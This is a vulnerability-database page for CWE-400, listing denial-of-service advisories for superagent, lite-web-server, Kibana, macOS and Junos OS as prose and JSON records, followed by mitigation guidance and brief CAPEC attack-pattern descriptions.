  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}

GHSA-8237-3Q5G-99FV

Vulnerability from github – Published: 2023-02-25 06:30 – Updated: 2023-02-27 14:56
VLAI
Summary
Denial of Service vulnerability in lite-web-server
Details

All versions of the package lite-web-server are vulnerable to Denial of Service (DoS) when an attacker sends an HTTP request and includes control characters that the decodeURI() function is unable to parse.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lite-web-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26104"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-27T14:56:32Z",
    "nvd_published_at": "2023-02-25T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of the package lite-web-server are vulnerable to Denial of Service (DoS) when an attacker sends an HTTP request and includes control characters that the decodeURI() function is unable to parse.",
  "id": "GHSA-8237-3q5g-99fv",
  "modified": "2023-02-27T14:56:32Z",
  "published": "2023-02-25T06:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26104"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/lirantal/637520812da06fffb91dd86d02ff6bde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chasyumen/lite-web-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chasyumen/lite-web-server/blob/main/src/WebServer.js#23L274"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-LITEWEBSERVER-3153703"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service vulnerability in lite-web-server"
}

GHSA-823G-P8G4-Q559

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

Kibana versions before 7.12.1 contain a denial of service vulnerability was found in the webhook actions due to a lack of timeout or a limit on the request size. An attacker with permissions to create webhook actions could drain the Kibana host connection pool, making Kibana unavailable for all other users.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-13T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Kibana versions before 7.12.1 contain a denial of service vulnerability was found in the webhook actions due to a lack of timeout or a limit on the request size. An attacker with permissions to create webhook actions could drain the Kibana host connection pool, making Kibana unavailable for all other users.",
  "id": "GHSA-823g-p8g4-q559",
  "modified": "2022-05-24T19:02:19Z",
  "published": "2022-05-24T19:02:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22139"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/7-12-1-security-update/271433"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-826G-P4H4-G7X3

Vulnerability from github – Published: 2025-01-28 00:32 – Updated: 2025-11-03 21:32
VLAI
Details

The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or corrupt kernel memory.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-24151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-27T22:15:19Z",
    "severity": "CRITICAL"
  },
  "details": "The issue was addressed with improved memory handling. This issue is fixed in macOS Ventura 13.7.3, macOS Sequoia 15.3, macOS Sonoma 14.7.3. An app may be able to cause unexpected system termination or corrupt kernel memory.",
  "id": "GHSA-826g-p4h4-g7x3",
  "modified": "2025-11-03T21:32:29Z",
  "published": "2025-01-28T00:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24151"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122068"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122069"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122070"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/15"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/16"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jan/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-82F9-P6MV-5RCX

Vulnerability from github – Published: 2022-01-20 00:02 – Updated: 2022-01-27 00:03
VLAI
Details

An Uncontrolled Resource Consumption vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated network based attacker to cause 100% CPU load and the device to become unresponsive by sending a flood of traffic to the out-of-band management ethernet port. Continued receipted of a flood will create a sustained Denial of Service (DoS) condition. Once the flood subsides the system will recover by itself. An indication that the system is affected by this issue would be that an irq handled by the fman process is shown to be using a high percentage of CPU cycles like in the following example output: user@host> show system processes extensive ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 31 root -84 -187 0K 16K WAIT 22.2H 56939.26% irq96: fman0 This issue affects Juniper Networks Junos OS: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S5; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An Uncontrolled Resource Consumption vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated network based attacker to cause 100% CPU load and the device to become unresponsive by sending a flood of traffic to the out-of-band management ethernet port. Continued receipted of a flood will create a sustained Denial of Service (DoS) condition. Once the flood subsides the system will recover by itself. An indication that the system is affected by this issue would be that an irq handled by the fman process is shown to be using a high percentage of CPU cycles like in the following example output: user@host\u003e show system processes extensive ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 31 root -84 -187 0K 16K WAIT 22.2H 56939.26% irq96: fman0 This issue affects Juniper Networks Junos OS: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S5; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.",
  "id": "GHSA-82f9-p6mv-5rcx",
  "modified": "2022-01-27T00:03:52Z",
  "published": "2022-01-20T00:02:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22161"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11269"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list